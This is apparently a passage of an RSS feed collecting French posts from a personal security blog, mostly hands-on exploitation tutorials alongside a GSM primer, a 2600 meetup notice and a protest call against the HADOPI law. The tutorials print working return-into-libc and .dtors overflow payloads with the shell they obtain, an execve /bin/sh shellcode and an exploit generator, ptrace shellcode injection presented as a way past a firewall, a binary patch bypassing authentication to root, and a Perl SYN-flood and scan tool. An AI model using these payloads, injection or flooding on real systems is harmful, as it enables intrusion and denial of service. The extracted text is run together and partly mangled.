1er et av1 le 2eme de la ligne 1 et ceux la on lesconnait déja pas vrai ;ceci dit de petites vérifications s'imposent :gdb printf "%s", 0xbf91023c/home/kmkz/Bureau/asm/cmgdb printf "%s", 0xbf910255 ; on obtient lechemin du programme cmet :gdb print "%s",0xbf910255aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 ; ici c'estbien av1 avec nos 40*a , no soucyIl est temp pour nous de voir vers quelle adresse pointe ESP  ESPpointe vers le sommet de la pilegdb print $esp$4 = void * 0xbf90e0b0Ici se trouve donc l'adresse du sommet de la pile allos dons y jeterun oeil gdb x/16x $esp ; meme explications que tout a l'heure0xbf90e0b0: 0xbf910255 0xbf90e0cc 0xbf90e0c8 0x080482bc0xbf90e0c0: 0xbf90e0f0 0x08049640 0xbf90e0e8 0x666b646d0xbf90e0d0: 0x0079766a 0xbf90e0f0 0xbf90e148 0xb7e93f900xbf90e0e0: 0xb7fe9cc0 0x08048450 0xbf90e148 0xb7e93f90bon la on peu constater que l'on a :l'adresse de la pile : 0xbf90e0c0l'adresse de nos "a" av1 :0xbf910255Mais aussi une adresse que l'on avait pas encore vu jusqu'ici :0xbf90e0ccTestons donc 0xbf90e0cc afin de voir ce que cette adresse contient gdb printf "%s", 0xbf90e0ccmdkfjvygdbHey  Mais qu'est-ce donc  Notre pass seait donc la  Et oui , en effet le pass est bel et bien mdkfjvy Voila , vous venez de voir les principes de base du Reversing , maisla route est encore longue alors courage et a bientotIMAGE</description><link>http://www.secuobs.com/revue/news/104112.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104112.shtml</guid></item>
<item><title>Return Into Libc</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps ,mais c'est fini , rassurez-vous ; Pour fêter ça , je vous propose un article traitant des fameux"Returns-into-libc "Bref , stoppons les baratins inutiles et place a l'article o/-----Voici les codes dont nous auront besoins :vulncvar-envc-----Je précise toutefois que cet article s'adresse aux personnes sachantau minimumexploiter un classique stack overflow Voir article prévu a cet effetsur ce bloget ,donc, connaissant le fonctionnement de la pileLa méthode du "return-into-libc" consiste, non pas à exécuter unshellcode, mais à détourner le programme en lui faisant exécuter ducode quiest bien souvent dans une librairie telle que la libcLes librairies sont chargées à des adresses prédictibles surles noyaux standards, on les retrouve donc facilement Rappelons-nous que la libc, contient toutes les fonctions utiles àl'exécution d'un shellIl faut impérativement bien visualiser le schéma suivant :1 Vous venez d'écraser EIP avec l'adresse de la fonction systemsituée dans l'espace mémoire duprocessus vulnérable2 Le programme saute sur system3 La fonction system va faire son prologue, sans erreurs Parcontre system va vouloir aller chercherle paramètre que vous lui avez passé, et forcément , s'attend pourcela à ce qu'il y aitun argument sur la pile4 Cet argument sur la pile, c'est l'adresse de votre chaîne decaractère "/bin/sh"Mais pour cela vous devrez le "déposer" sur la pile pour que systemle récupèreSystem va donc récupérer cette chaine juste après EIP -----------------------------------------------------------------------------------------------------------------------------------------Cet test a été réalisé sur une GNU/Linux Free 2008 version 26229du noyau Linux tournant sur une machine ayant pour Processeur unIntel Pentium IIIIAucunes fonctionalités n'a été modifiés au préalable , nous sommes icien présence d'une config systeme par défaut ; cela dit , il faut bienavoir a l'esprit que les adresses et PID changeront , ceci est tout afait normal d'une machine a l'autre cet article n'est ici que dans lebut de vous aidez a comprendre et , le cas échéant , a reproduire cesétapes chez vous en prenant notes des indications données dans ceparagraphe  ThX Decerebrain ;- ------------------------------------------------------------------------------------------------------------------------------------------------Testons ça concrètement ------En premier lieu , compilons notre programme vulnérable:gcc -o vuln vulnc // RappelDans un premier shell , lançons ce programme:kmkz@localhost Bureau$ /vuln Argumentpid = 8219-- Dans un autre shell ,nous allons exporter "/bin/sh" pour le placerdans le meme environnementEnsuite , nous devons récupéré l'adresse en mémoire de la nouvellevariable d'environnement Noue le feront grace a notre petit programme écrit en C  code"var-envc" :root@localhost Bureau# export kmkz=/bin/bashroot@localhost Bureau# /var-env kmkz**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila letravail ;- Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vulnc":kmkz@localhost Bureau$ gdb /vuln 8219 // 8219 étant le PIDGNU gdb 66-3mdv20080  Linux release 20080Copyright C 2006 Free Software Foundation, IncGDB is free software, covered by the GNU General Public License, andyou arewelcome to change it and/or distribute copies of it under certainconditionsType "show copying" to see the conditionsThere is absolutely no warranty for GDB Type "show warranty" fordetailsThis GDB was configured as "i586-linux-gnu"Using host libthread_db library "/lib/i686/libthread_dbso1"Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // NotrePID ici aussi o/Reading symbols from /lib/i686/libcso6doneLoaded symbols for /lib/i686/libcso6Reading symbols from /lib/ld-linuxso2doneLoaded symbols for /lib/ld-linuxso20x080484c8 in main --- Récupérons l'adresse de system :gdb x/x system0x400608a0 : 0x83e58955Et celle de exit qui servira a quitté le programme "proprement":gdb x/x exit0x4004d0a0 : 0x57e58955Waou ,c'est kewl  :-Allez il ne nous reste plus qu'a convertir ça en Little Endian voirselon les processeurs et a construire notre Argument pourl'obtention de notre Shell ce qui donne dans cet exemple :"xa0x08x06x40" = system"xa0xd0x04x40" = exit"x08xc8xfexbf" = notre shell= 1032 octets à écrire pour écraser entièrement EIP 1024 buffer +4 + 4// Voir article sur les Stack OverflowNous devons donc passer l'argument de cette façon sur la ligne decommande :1028 octets "system" "exit "/bin/sh"Si tout se passe bien et c'est le but ; , on doit obtenir ceci :gdb r `perl -e 'print "x" x 1028 "xa0x08x06x40""xa0xd0x04x40""x08xc8xfexbf"'`Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x1028"xa0x08x06x40""xa0xd0x04x40" "x08xc8xfexbf"'`sh-300$ ---- Notre Shell ^_^ -Remerciement a Marnage et 0vercl0k pourleur lumieres ;-  IMAGE</description><link>http://www.secuobs.com/revue/news/104111.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104111.shtml</guid></item>
<item><title>Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Yop all o/ Comme vous l'aurez sans doute compris dans le titre , cet article vatraiter pas trés original comme sujet j'en conviens des injectionsde Shellcode dans un processus actif grace au syscall Ptrace Commençons donc par une petite explication et mise en situation :Avant tout un petit mot sur l'environnement de test utilisé ici :# uname -aLinux localhost 262219-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT2008 i686 IntelR PentiumR 4 CPU 293GHz GNU/LinuxLe tout sans aucune modifications ,attention toutefois car il est icinécéssaire de posséder une pile exécutable  on joue encore une foisavec la stack  bien qu'en y réfléchissant longuement , il peu etrepossible de l'adapté sur n'importe quel OS  d'aprés ce que j'ai pulire sur phrack ;-  -Il faut savoir que ce type d'injection est souvent utilisée par lescodes malveillants afin de contourner les sécuritées mise en place surune machine exemple :Imaginons un poste de travail "sécurisé " par un firewall personnel ;en général ces programmes ont pour but de filtrer/bloquer l'accés aunet pour certaines applicationsCependant , supposons que nous voulions compromettre cette machine etfaire en sorte d'obtenir un accés sortant on peu tout aussi bienvouloir faire autre chose , mais ceci est a titre d'exemple hein ;- , dans ce cas comment vas-t-on s'y prendre Sachant qu'au minimum le navigateur doit posséder un accés sortant ,nous allons donc injecter notre shellcode dans la mémoire utilisée parce processus puis faire en sorte qu'il poursuive son activité , commesi de rien n'était De cette façon nous pouvons utiliser les droits du navigateur et,doncavoir un accés sortant sans etre inquiété Pour cela il sera donc nécessaire de ne pas tuer le processus enfesant donc en sorte qu'une fois le pointeur EIP pointe sur leshellcode , l'exécute puis se replace POP / RET de façon a reprendrel'exécution du processus cibleEtapes a suivre :1- S'attacher au processus ciblé PTRACE_ATTACH2-Attendre qu'il stoppe WAITPID3-Récupération des registres utilisés par ce processPTRACE_GETREGS4-Copie du Shellcode dans la stack PTRACE_POKEDATA5-Redirection du pointeur vers le début de nore Shellcode PTRACE_SETREGS6-Se détacher PTRACE_DETACHNéanmoins,, il se peut que le processus ait été interrompu par leptrace PTRACE_ATTACH alors qu’il exécuté un appel systèmeDans ce cas, le noyau décide de remettre l’ex écution a l’endroit ouelle a été interrompue, c’est-a-dire l’appel système Sous Linux pourx86, un appel système est déclenché́ par l’instruction int 0x80, codéesur 2 octetsAvant de rendre la main au processus, le noyau modifie donc leregistre eip, en lui enlevant 2 octets Or, nous ne souhaitons pas quel’exé́cution reprenne la ou ne se trouve pas notre shellcodePour compenser cela, on ajoutera 2 Nops x90 au début du shellcodeet on oublira pas de modifier la valeur dans la boucle au passagesinon elle n'enverra pas tout le shellcode Voila, on peu désormais passer a la pratique Dans un premier temps jedétaillerais donc les différentes étapes , puis je vous donnerais lecode "Shell_inj" Shellcode injector quoi -_-  Ce code est déja suffisemment commenté pour vous permettre de lecomprendre facilement-- Nous allons , dans l'exemple suivant , injecter un dangereuxshellcode Hello , world :-  dans un processus cible ici bash serala cible -On commence par récupérer son PID:kmkz@localhost Bureau$ ps auxCe qui donnera un listing assez long top pour etre mis ici en entieren tout cas  Nous , on s'intéressera donc a ça :kmkz 7178 03 01 4324 1920 pts/0 Ss+ 10:58 0:00 bashBon , on a le PID reste plus qu'a s'amuser now  o/Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pasla dessus Lançons le programme Shell_inj en lui passant en argument notre PID etvoyons ce qui se passe :kmkz@localhost Bureau$ /inj 7178+ Attente d'attachement au processus 7178 + Attachement au processus : réussi+ Lecture des registres:-eip: 0xffffe410-esp: 0xbfe478d8+ Shellcode copié en esp:0xbfe468d8+ Redirection d'eip vers le shellcode :0xbfe468da+ Détachement du processus 7178+ Injection Terminée Hello,World Bingo, notre "hello world" est bien la , en chair et en os enfin sion veux quoi ^_^C'est a vous de jouer maintenant : vous savez détourner un processusen y injectant un shellcode pour en faire ce que vous voulez alors___*Here's the Shell_inj source code:Shell_injcHave Fun Remerciements a l'équipe de "blacks clowns" pour son article sanslequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix IMAGE</description><link>http://www.secuobs.com/revue/news/104110.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104110.shtml</guid></item>
<item><title>Data Section overflow</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Hello World Me revoila pour un petit billet probablement un des derniers de l'été/o mais pas le dernier de ce blog , loin de la ;- Alors , étant un peu a court d'idées mais ayant besoin de travaillersur quelque chose d'assez concret/intéréssant , je me suis dis"pourquoi pas un article sur les Data overflow" Cet article montrera uniqueme les notions de bases qui serontapprofondie par la suite dans d'autres articles a venir |------------ Environnement -----------|Il reste inchangé , cependant il est bon de le rappeller :Linux Free 262219-desktop-2mdv 2008 - GNU/Linuxi686 IntelR PentiumR 4 CPU 293GHz|------------ Environnement -----------|Les Data Overflow sont donc des Buffers Overflow se situants donc dansla section Data logique ,non Contrairement aux Stack Overflow , nous n'allons pas chercher a"écraser" la pile mais bel et bien une autre Section mémoire Commençons la pratique :Tout d'abord regardons l'organisation des sections de notre programmevulnérable fourni en fin d'article :kmkz@localhost Data_overflow$ size -A -x vuvu // Simpa le nombss2 :section size addrinterp 0x13 0x8048114noteABI-tag 0x20 0x8048128gnuhash 0x20 0x8048148dynsym 0x50 0x8048168dynstr 0x4c 0x80481b8gnuversion 0xa 0x8048204gnuversion_r 0x20 0x8048210reldyn 0x8 0x8048230relplt 0x18 0x8048238init 0x30 0x8048250plt 0x40 0x8048280text 0x15c 0x80482c0fini 0x1c 0x804841crodata 0x8 0x8048438eh_frame 0x4 0x8048440ctors 0x8 0x8049444 --- constructordtors 0x8 0x804944c --- destructorjcr 0x4 0x8049454dynamic 0xc8 0x8049458got 0x4 0x8049520gotplt 0x18 0x8049524data 0x120 0x8049540 --- Section Data contenant le buffervulnérablebss 0x4 0x8049660comment 0x177 0x0debug_aranges 0x50 0x0debug_pubnames 0x25 0x0debug_info 0x1cd 0x0debug_abbrev 0x6f 0x0debug_line 0x147 0x0debug_str 0xcf 0x0debug_ranges 0x40 0x0Total 0xbc7Vous remarquez 2 sections appellées Dtors et Ctors  Constructor etDestructorIl s'agit de 2 sections présentes dans un fichier de format ELF quisont deux attributs ducompilateurs gccElles permettent l’exécution de fonctions avant l’appel à la fonctionmain et avant le dernier exit du programme  c'est a dire qu'elle le construisent et le détruisent a la fin Ainsi, en faisant déborder le buffer vulnérable de la section datanousarrivons à écrire dans la section dtors et à exécuter du code à lasortie de notreprogramme----------------------------------Organisation des Ctors et Dtors:0xffffffff    0x00000000kmkz@localhost Data_overflow$ objdump -s -j dtors vuvubss2: file format elf32-i386Contents of section dtors:804944c ffffffff 00000000gdb disas mainDump of assembler code for function main:0x08048344 : lea 0x4%esp,%ecx0x08048348 : and $0xfffffff0,%esp0x0804834b : pushl 0xfffffffc%ecx0x0804834e : push %ebp0x0804834f : mov %esp,%ebp0x08048351 : push %ecx0x08048352 : sub $0x14,%esp0x08048355 : mov 0x4%ecx,%eax0x08048358 : add $0x4,%eax0x0804835b : mov %eax,%eax0x0804835d : mov %eax,0x4%esp0x08048361 : movl $0x8049560,%esp0x08048368 : call 0x80482b00x0804836d : add $0x14,%esp0x08048370 : pop %ecx0x08048371 : pop %ebp0x08048372 : lea 0xfffffffc%ecx,%esp0x08048375 : retEnd of assembler dump---------------------------Adresse de notre buffer :gdb p et buf$1 =  * 0x8049560--------------------------Adresse de la section Dtors:gdb mai i sectionExec file:`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',file type elf32-i3860x08049444-0x0804944c at 0x00000444: ctors ALLOC LOAD DATAHAS_CONTENTS0x0804944c-0x08049454 at 0x0000044c: dtors ALLOC LOAD DATAHAS_CONTENTS0x08049660-0x08049664 at 0x00000660: bss ALLOC-------------------------gdb x/2 0x0804944c0x804944c : 0xffffffff 0x00000000Ça rappelle pas un truc ça Revoila notre Section Dtors bien vide comme vu précédemment-------------------------gdb p 0x804944c+4 - 0x8049560$2 = 272Programme vulnérableProof of concept plEt comme l'été on s'ennui :Proof of concept c---------------------------------- See you  o/IMAGE</description><link>http://www.secuobs.com/revue/news/104109.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104109.shtml</guid></item>
<item><title>Data Overflow et utilisation de DBOEE pour générer l'exploit approprié et exploiter</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous et a toutes Dans ce nouveau billet , je compte vous présenter mon projet baptisé"DBOEE" Data-Based-Overflow Easy Exploitation dans sa version "beta"si on peu dire Mais en quoi cela consiste -il En fait , ce billet sera ici un complément du précédent concernant lesData Overflows Le précédent billet m'a valut un commentaire de la part de quelqu'un il se reconnaitra j'espere ;- que j'admire me demandant "pourquoi tun'as pas coder l'exploit qui va avec " Cette question a pour réponse : pas envie de coder un exploit pour unvulnc  pas trés utile en soit Mais en y réfléchissant , pourquoi ne pas coder un programme qui , nonseulement serait un exploit pour ce vulnc, mais aussi seraitadaptable a d'autres Data Overflow De la est né le projet DBOEE ayant pour objectif  dans la versionbeta tout du moins  ,la possibilité de s'adapter a d'autre situationsafin de pouvoir facilement exploiter et au passage générer l'exploitassocié Concrètement DBOEE vous demandera un shellcode fournis au cas ou , le nombre d'octets entre le buffer et la section DTORS a écraser j'automatiserais ça par la suite  ainsi que la cible Concernant le nombre d'octets , le programme le calcule en déduisantla taille du shellcode de façon a faciliter cette opération Une fois l'exploit créé , il est sauvergardé dans le fichierExploittxt puis exploite le programme vulnérableVoila pour la présentation du projet DBOEE qui n'en ait ici qu'a sesdébuts  voir readme joint a l'archivePlace au test :kmkz@localhost Fuzzer_Data-overflow$ /DBOEE----------------------------- Data-Based-Overflow Easy Exploitation -----------------------------+Programm :-Devellopped by kmkzc-Compilation :gcc -o DBOEE DBOEEc+Author's informations :kmkz's web sites - http://kmkz-web-blogblogspotcom etwwwcollective-utopiano-ipfr+This programm has been coded for makes easier the Data basedOverflow exploitationYou just have to give a shellcodereached , numbers of Bytes and thetarget name  DBOEE calculate the payload, exploit program and createfeat ,nice isn't it~This is my first real projet in C language and Beta version also Ihold has excuse me for essential lack---------------------------****************------------------------------------------------------STARTING PROGRAM---------------------------* Enter Adress Return :"x60x95x04x08"* Enter your shellcode :"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"---------------------------StartingExploitation---------------------------~Program Running~ check on the ongoing shellcode- Shellcode maximum Size : 1000- Shellcode character - 73- Shellcode size octets - 18---------------------------ShellcodeCreated---------------------------* enter the number of 'A' octets necessary for Overflowexploitation :272---------------------------ShellcodeCreated---------------------------~Generating Payload+Your Payload is --272 x 'A' your shellcode+ subtraction of the shellcode bytes * Payload generated is : printf 254 x 'A' shellcode---------------------------Payload Created---------------------------~ Give me a target example- /vuln/vuvu-Target programm is - /vuvu---------------------------Generating ExploitFile---------------------------# Creating Exploit File #Exploittxt : success + Sending payload------------ Result ------------sh-32$------------------------------------------------------------------------------------------------------------------------------------------------------------Contenu du Fichier Exploittxt ------------------------------------------------------------------------------------------------------------------------------------------------------------`printf"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"``perl -e 'print "A"x254'``printf "x60x95x04x08"`-----------------------------------------------------------------------------------------------------------------------------------------------------------Comme on peu le constater , l'exploit généré correspond en tout pointsa celui obtenu lors du billet précédent-----Archive du projet DBOEE-----Voila , le source est un peu beaucoup  plus présentable désormaisgrace a la participation de m_101 que je remercie au passage Pour plus d'infos , consulter le "readme" inclu a l'archiveA trés bientot et merci a tous o ps2: Retrouver l'appel a participation au projet sur le forumCollective-UtopiaIMAGE</description><link>http://www.secuobs.com/revue/news/104108.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104108.shtml</guid></item>
<item><title>Résumer du premier 2600 Nîmois</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous Et bien voila , le premier meet' a bien eu lieu sur Nîmes Le résumé ce trouve dispo sur le forum 2600frorg a cette adresse :résumer 2600 NîmesCe qu'on peu en dire en 2 mots c'est que ce fut un agréable momentintéréssant et riche en partage Nous nous sommes posé dans le "Cyber-Restaurant " le " Net m'Eating ", ou nous avons pu bidouiller un peu le tout en étant bienconfortablement installé  voir résumé pour plus d'infosnet m' eatingJ'espere tout de meme y voir un peu plus de monde dans les mois avenir mais chaque choses en son temp Si certain sont intéréssés , n'hésitez pas a me contacter pour avoirplus d'infos merci a tous IMAGE</description><link>http://www.secuobs.com/revue/news/104107.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104107.shtml</guid></item>
<item><title>Quand on ne sais que faire  on code nawak et ça se voit :-P  </title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - o/ All Bon bah tout est dans le titre :cette fois - ci ne sachant pas trop sur quoi bosser et , je doitl'avouer ,ayant envie de me remettre au Perl aprés tant de temp passésur d'autre langages , je me suis mis a coder un petit tool incomplet mais bon c'est juste une "remise a niveau " :-P  , histoirede me replonger dans les méandres de ce magnifique langage qu'est lePerl Comme dis ci-dessus , ici rien d'extraordinaire car il s'agissaitsurtout d'un "prétexte" pour revoir un peu le Perl Cependant , je compte réellement continuer a travaiiler dessus et ce ,dans de vrais projets a venir , mais je n'en dirais pas plus  ;------------------Bon , ce tool donc - baptisé KM-Net-tool pour kmkz network tool  -permet entre autre de scanner super original je sais des portsdéfinis par l'utilisateur sous forme de "plage" a scanner  Port dedépart et d'arrivée tout en choisissant aussi le Time-out et leprotocole a utiliser Il permet aussi la pratique du SYN flood en forgeant plus ou moins sespaquets :ip de départ , ip cible , port cible , taille du paquet ; ainsi que leclassique et peu utile mais toujours intéréssant ne serait-ce quepour ce qu'on y apprend  ping flood , largement moins paramétrablesi peu utile : ip cible et protocole uniquementVoici une ptite démo de ce code basique mais toutefois bienintéréssant a coder , surtout pour se remettre dans le bain car , jele rappelle , c'est ici mon objectif , rien de plus Démo d'un scan SUID Root utilisé par le module RawIP :root@ KM-Net-tool# perl KM-Net-toolpl -S 2132511xxxxx 1 1 200tcp+Checking modules Module IO::Socket::INET : OK  Module Net::Ping : OK  Module Net::RawIP : OK  Module Getopt::Std : OK ---------------------------------------------------------~ PING 2132511xxxxx  + Ok~ Localtime: Wed Oct 22 16:02:18 2008+ Time out : 1+ Starting scan port n° 1+ Finish scan port n° 200+ Protocol Selected : tcp---------------------------------------------------------+ Starting Scan using Thread :+ Port 21 - tcp Open+ Port 22 - tcp Open+ Port 25 - tcp Open+ Port 53 - tcp Open+ Port 80 - tcp Open+ Port 110 - tcp Open+ Port 143 - tcp OpenRien de bien sorcier en soit autre exemple : un SYN flood :root@ KM-Net-tool# perl KM-Net-toolpl -f 84568298213251178117 22 4000+Checking modules Module IO::Socket::INET : OK  Module Net::Ping : OK  Module Net::RawIP : OK  Module Getopt::Std : OK ---------------------------------------------------------+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 Ou chaque "+1" signifie qu'un paquet a été envoyé a la cible Bon on va stopper la car je pense que vous avez compris comment cetool trés simple d'usage fonctionne , si ce n'est pas le cas , a vousde consulter l'aide fournie avec A bientot pour de VRAIS projet en Perl ;- c'est promis Archive du projet KM-Net-toolIMAGE</description><link>http://www.secuobs.com/revue/news/104106.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104106.shtml</guid></item>
<item><title>Sysinfos is  powned </title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Au lendemain de l'article sur les bss overflow posté par mon ami HyP surson blog , j'ai eu envie de voir comment bypasser l'authentificationde son "Sysinfos" mais avec une approche différente Bon , aprés coup je me suis vite rendu compte que ce serait trésclassique voir presque triste , je le reconnait mais 24h aprés lapublication de son article , ça me tenter donc Code de Sysinfosc iciPremiere étape comme souvent , on désassemble a la recherche d'une ouplusieurs intructions intéréssantes  ici avec objdump de cettemaniere :objdump -d Sysinfosetbingo Aprés avoir parcouru les lignes ,on se rend vite compte de lasimplicité de la chose lorsqu'on tombe sur un JNE Jump if Not Egal intéréssant8048410: 55 push ebp8048411: 89 e5 mov esp,ebp8048413: 53 push ebx8048414: 83 ec 04 sub 0x4,esp8048417: 80 3d bc 98 04 08 00 cmpb 0x0,0x80498bc804841e: 75 40 jne 8048460;saut au destructeur si valeur inégaleReste plus qu'a l'éditer a l'aider d'un éditeur hexadécimal pour enmodifier la valeur sachant que l'on doit remplacer la valeur 75 par 74Nous avons jne = 75Nous allons faire en sorte d'obtenir je = 74Editons donc a l'aide par exemple  de Ghex Ghex2 SysinfosOn va rechercher la valeur hexa 75 40 et hop , y'a plus qu'a modifier, enregistrer, faire un chmod +x Sysinfos et lancer le prog pourvérifierroot@localhost kmkz# /Sysinfos2 iVérification de votre mot de passe'+ Authentification réussieU'r rootsh 30 #Et voila , le Sysinfos est encore une fois bypasser et ce d'une façondes plus élémentaire mais c'était " just for fun " ;- IMAGE</description><link>http://www.secuobs.com/revue/news/104105.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104105.shtml</guid></item>
<item><title>Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu'il est aujourd'hui : BLACK-OUT </title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog -  Devant le ridicule d'un gouvernement qui s'entête à vouloirdéconnecter du Net des familles entières sans preuves valables niprocès, la Quadrature appelle les citoyens épris de liberté à procéderau « black-out » de leurs sites, blogs, profils, avatars, etcComme en Nouvelle-Zélande, seul pays avec la France où la « ripostegraduée » devait être imposée par la loi, pour finalement êtrerepoussée :pour protester contre cette loi imbécile et sa « liste blanche » desites autorisés, le Net français doit agir et se draper de noirAinsi , la Quadrature invite tous ses soutiens, individus etcollectifs, à :* Peindre leurs sites, blogs, profils, courriers, commentaires ouavatars de la couleur noire du « black-out », au besoin en utilisantles images mises à leur disposition* Afficher un message expliquant les motivations de cetteprotestation contre une loi absurde, inapplicable et dangereuse quimet en péril le web français, l'innovation, et les libertésfondamentales* Faire un lien vers le « tableau de bord HADOPI » de La Quadraturedu Net* Contacter son député pour lui annoncer que l'on a procédé au «black-out » de son espace sur le Net pour protester contre la loi «Création et Internet », lui transmettre le dossier de La Quadrature6et lui demander ce qu'il en pense* Inviter ses proches et ses contacts à faire de même« Cet appel est un hommage rendu aux citoyens néo-zélandais qui ont pufaire entendre la raison à leur gouvernement Il s'agit d'un remix,d'une réappropriation d'une idée qui, comme la culture, n'existe quepour être partagée Ce sont ceux qui traitent leurs clients de "pirates " et les députés qui votent leurs lois qu'il faudraitdéconnecter »Rendez-vous ici pour plus d'infos :http://wwwlaquadraturenet/fr/APPEL-HA … t-francaisMOBILISONS NOUS  IMAGE</description><link>http://www.secuobs.com/revue/news/104104.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104104.shtml</guid></item>
<item><title>Réseaux GSM : chapitre I</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous Alors voila , j'ai décider de me lancer dans une nouvelle aventure :l'univers des réseaux de télécommunication mobile ou GSM GlobalSystem for Mobile communications Voici donc une première approche afin de comprendre un peu mieux lesbases de ce monde pour ma part encore trop peu exploré jusqu'alors ,et pourtant incontournable et qui plus est , en pleine expansion Pré-requisZone cellulaire : Zone couverteLes cellules sont plus ou moins grandes en fonction du nombrepotentiel d’abonnés qu’elles doivent gérer Ainsi , les zones de couverture des cellules voient leur taillediminuer  + d'abonnés == cellules plus petites  pour garantir unelarge bande passante auxutilisateursRoutage: Construction d’un chemin de communication entre deuxtéléphones mobiles+ Architecture d'un Réseau GSM1 Le MS :Dans réseau GSM, le terminal mobile MS Mobile Segmenta trois aspects:* Le téléphone de voiture* Le portable d'une puissance de 8 W* Le portatif terminal de poche, d'un poids compris entre 150 et 350grammes et d'une puissance d'environ 2WLe terminal est scindé en deux parties :* Le combiné téléphonique identifié par un numéro unique : l'IMEIInternational Mobile Equipement Identity qui est l'identitéinternationale spécifique à chaque combinéEn pratique ce numéro n'est que peu utilisé* La carte SIM Subscriber Identity Module et qui contient lesinformations suivantes :o- Le numéro d'identification temporaire attribué par le réseau quipermet la localisation et qui est utilisé sur les canaux radio TMSITemporary Station Identityo- La liste des fréquences à écouter pour identifier la meilleureStation de Base BTSo- Les algorithmes de chiffrementCette liste n'est pas exhaustive D'autres informations sont stockéessur cette carte, tel que le code permettant de la débloquer :une carte SIM se bloque automatiquement après un certain nombred'erreurs sur le code entré par l'utilisateurCet ensemble permet d'accéder aux services d'un PLMN GSMCette découpe permet à l'usager d'utiliser n'importe que terminal GSMcar son identification complète est portée par la carte SIML'établissement d'une communication commence toujours par une phased'authentification durant laquelle le réseau dialogue avec la carteSIMLe terminal mobile a pour seule interface les équipements de type BTSet ses fonctionnalités sont :* La gestion de la liaison de données avec le BTS protocole LAPDm* La surveillance périodique de l'environnement par des séries demesure stockées sur la carte SIM* La restitution des données vocales ou non messagerie destinées àl'abonné* Les opérations de chiffrement2Le BSS Base Station sub System comprend :*BTS  Base Transceiver StationLes stations de base BTS assurent la couverture de l’aire de service:Chaque cellule dispose d’une BTS et d’une seule,une BTS gère latransmission radio-Une BTS est reliée à un contrôleur de station de base BSC BSC, basestation controller*BSC Base Station ControllerUn BSC est lui-même relié à un commutateur de service mobile MSC,mobiles services switching center 1 seule BTS par cellule mais un BSC gère un ensemble de BTS Le BSC organise la supervision, l’allocation et la relâche des canauxradios routage, conformément aux demandes reçues du MSC3 Le NSS comprend : des bases de données HLR et des commutateursMSC*HLR Home Location RegisterUn HLR est une base de données de localisation et de caractérisationdes abonnés A l’aide du numéro appelé appel entrant, on en déduit lalocalisation du destinataire grâce à l’enregistreur de localisationnominal HLRLe HLR fournit l’adresse du MSC, BSC, et BTS couvrant l’aire danslaquelle se trouve le destinataire*MSC Mobile-services Switching CenterLes MSC sont des commutateurs mobiles associés en général aux bases dedonnées VLR Visitor Location Register Le MSC gère l’établissement d’appel, la relâche d’appel, et tout cequi est lié aux identités des abonnés*VLR Visitor Location RegisterC'est la base de données qui gère les abonnés présents dans unecertaine zone géographiqueCes informations sont une copie de l'original conservé dans le HLR*AuC Authentication CenterIl mémorise pour chaque abonné une clé secrète utilisée pourauthentifier les demandes de services et pour le chiffrement descommunications Un AuC est en général associé à chaque HLR+ Schéma simplifié d'un réseau GSM  topologie de type "Arbre"4 Les interfaces :aL’interface UmC’est l’interface entre les deux sous systèmes MS Mobile Station etle BSS Base Station Sub-system On la nomme couramment « interfaceradio » ou « interface air »bL’interface AbisC’est l’interface entre les deux composants du sous système BSS : laBTS Base Station Transceiver et le BSC Base Station ControlercL’interface AC’est l’interface entre les deux sous systèmes BSS Base Station SubSystem et le NSS Network Sub SystemVoila pour l'introduction , j'espère que cet article vous aura permisd'apprendre deux trois choses concernant les réseaux de téléphoniemobile Rendez-vous sous peu pour la suite Have Fun IMAGE</description><link>http://www.secuobs.com/revue/news/104103.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104103.shtml</guid></item>
